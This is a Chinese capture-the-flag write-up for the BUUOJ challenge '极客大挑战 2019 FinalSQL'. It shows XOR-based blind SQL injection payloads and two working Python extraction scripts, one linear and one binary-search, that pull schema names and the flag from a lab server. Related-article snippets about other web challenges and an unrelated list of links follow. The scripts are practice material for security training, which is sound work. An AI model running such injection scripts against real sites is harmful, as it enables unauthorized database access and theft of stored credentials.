0x00 知识点

盲注

0x01 解题

根据题目提示盲注,随便点几下找到注入点

发现我们输入^符号成功跳转页面,证明存在注入

  1. 1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
  2. ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称
  3. 1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)
  4. where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名
  5. 1^(ord(substr((select(group_concat(column_name))from(information_schema.column
  6. s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j))
  7. 获取数据库列名

获取flag:

  1. import requests
  2. url = "http://9c13f59b-720e-4c5a-9d63-69342c1be65a.node3.buuoj.cn/search.php"
  3. for i in range(1,20):
  4. for j in range(1,128):
  5. d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
  6. r = requests.get(url+d)
  7. if 'Click' in r.text:
  8. print(chr(j))

这里再贴一个盲注脚本:

  1. #然后是二分法,二分法要快很多:
  2. # -*- coding: UTF-8 -*-
  3. import re
  4. import requests
  5. import string
  6. url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"
  7. flag = ''
  8. def payload(i,j):
  9. # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
  10. # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
  11. # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
  12. sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
  13. data = {"id":sql}
  14. r = requests.get(url,params=data)
  15. # print (r.url)
  16. if "Click" in r.text:
  17. res = 1
  18. else:
  19. res = 0
  20. return res
  21. def exp():
  22. global flag
  23. for i in range(1,10000) :
  24. print(i,':')
  25. low = 31
  26. high = 127
  27. while low <= high :
  28. mid = (low + high) // 2
  29. res = payload(i,mid)
  30. if res :
  31. low = mid + 1
  32. else :
  33. high = mid - 1
  34. f = int((low + high + 1)) // 2
  35. if (f == 127 or f == 31):
  36. break
  37. # print (f)
  38. flag += chr(f)
  39. print(flag)
  40. exp()
  41. print('flag=',flag)

参考链接

http://www.pdsdt.lovepdsdt.com/index.php/2019/11/19/2019_geek_web/#0x20_Finalsql

https://blog.csdn.net/qq_42967398/article/details/102979306

[极客大挑战 2019]FinalSQL的更多相关文章

  1. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  2. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  3. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  4. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  5. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  6. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  7. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

  8. [极客大挑战 2019]HardSQL

    0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...

  9. [极客大挑战 2019]Upload

    0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: ...

随机推荐

  1. HiBench成长笔记——(4) HiBench测试Spark SQL

    很多内容之前的博客已经提过,这里不再赘述,详细内容参照本系列前面的博客:https://www.cnblogs.com/ratels/p/10970905.html 和 https://www.cnb ...

  2. impala invalidate metadata和impala-shell -r作用相同

    impala的invalidate metadata内部命令,是否和外部命令impala-shell -r的作用相同的? 这个问题的回答: 在invalidate metadata 和 impala- ...

  3. python手动实现深拷贝

    深拷贝是将对象全拷贝,包括嵌套对象 def deepcopy(cls): if isinstance(cls, dict): dct = {} for k, v in cls.items(): dct ...

  4. JAVA字符串比较问题

    在java中值类型通过==来进行比较值是否相等 而字符串作为一种引用类型,通过==是用来比较其内存位置的,使用equals才是用来比较其值是否相等 使用equals时养成将字符串放在前面的好习惯 字符 ...

  5. NO6 alias-unalias命令,递归创建目录,如何取消覆盖提示

    ·如果需要更新补丁则执行:·yum update·yum install lrzsz telnet tree nmap nc -y·alias #查看系统现有的别名.        一.设置别名eg: ...

  6. thinkphp配置到二级目录,不配置到根目录,访问除首页的其他路径都是404报错

    1.在nginx的配置里面,进行重定向 vi /etc/nginx/conf.d/default.conf 2.进入编辑 location /thinkphp/public { if (!-e $re ...

  7. 基于Ambari的WebUI实现服务缩容

    基于Ambari的WebUI实现服务缩容 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.实现服务的扩容 1>.进入到主机的管理界面 2>.查看主机的信息概览 3&g ...

  8. UVALive - 7752 Free Figurines

    题意:有n个娃娃,如果大娃娃j直接套小娃娃i,则fa[i] = j.若fa[i] = 0,则该娃娃自由.给出每个娃娃初始的父亲,和改变后的父亲,在满足以下合法操作的条件下,问最少需要多少次变换. 1. ...

  9. 75.Python中ORM聚合函数详解:Sum

    Sum:某个字段的总和. 1. 求图书的销售总额,示例代码如下: from django.http import HttpResponse from django.db import connecti ...

  10. 11.swoole学习笔记--进程信号触发器

    <?php //触发函数--异步执行 swoole_process::signal(SIGALRM,function(){ ; echo "$i \n"; $i++; ){ ...